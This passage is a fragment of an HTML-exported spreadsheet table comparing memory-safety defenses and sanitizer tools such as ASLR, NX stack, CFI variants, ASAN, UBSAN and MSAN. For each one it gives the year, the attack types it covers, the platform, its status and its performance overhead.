#000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Propolice&quot;}">Propolice</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2004}">2004</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow&quot;}">Stack overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Depricated&quot;}">Depricated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;NX Stack&quot;}">NX Stack</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2004}">2004</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack Overflow&quot;}">Stack Overflow</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;CCFIR/bin-CFI&quot;}">CCFIR/bin-CFI</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2005}">2005</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;upto 50%&quot;}">upto 50%</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;"></td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;ASLR&quot;}">ASLR</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2005}">2005</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Low&quot;}">Low</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#f6c6ac;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Taint Trace&quot;}">Taint Trace</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2006}">2006</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Stack overflow, Format string, Indirect calls modification&quot;}">Stack overflow, Format string, Indirect calls modification</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Deprecated&quot;}">Deprecated</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;5x&quot;}">5x</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;ASAN&quot;}">ASAN</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2012}">2012</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Buffer overflow, Use after free, Null pointer dereferance, Use after return, Uninitialized memory, Memory leaks&quot;}">Buffer overflow, Use after free, Null pointer dereferance, Use after return, Uninitialized memory, Memory leaks</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Processing upto 73%, Memory usage 230%&quot;}">Processing upto 73%, Memory usage 230%</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;UBSAN&quot;}">UBSAN</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2013}">2013</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;OOB read/write, Null pointer dereferance, Integer underflow &quot;}">OOB read/write, Null pointer dereferance, Integer underflow </td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux/Windows&quot;}">Linux/Windows</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Processing upto 3x, Disk usage upto 20x&quot;}">Processing upto 3x, Disk usage upto 20x</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;MSAN&quot;}">MSAN</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2015}">2015</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Tool&quot;}">Tool</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Uninitialized memory&quot;}">Uninitialized memory</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Active&quot;}">Active</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;2.5x &quot;}">2.5x </td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#e49edd;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td></tr><tr style="height:19px;"><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;border-left:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;LLVM-CFI&quot;}">LLVM-CFI</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;text-align:right;" data-sheets-value="{&quot;1&quot;:3,&quot;3&quot;:2014}">2014</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Technique&quot;}">Technique</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Exploitation&quot;}">Exploitation</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;No&quot;}">No</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Linux&quot;}">Linux</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;wrap-strategy:4;white-space:normal;word-wrap:break-word;" data-sheets-value="{&quot;1&quot;:2,&quot;2&quot;:&quot;Yes&quot;}">Yes</td><td style="border-right:2px solid #000000;border-bottom:2px solid #000000;overflow:hidden;padding:0px 3px 0px 3px;vertical-align:middle;background-color:#a4c2f4;font-family:Arial;font-weight:normal;wrap-strategy:4;white-space:normal;word-wrap:break-word;" 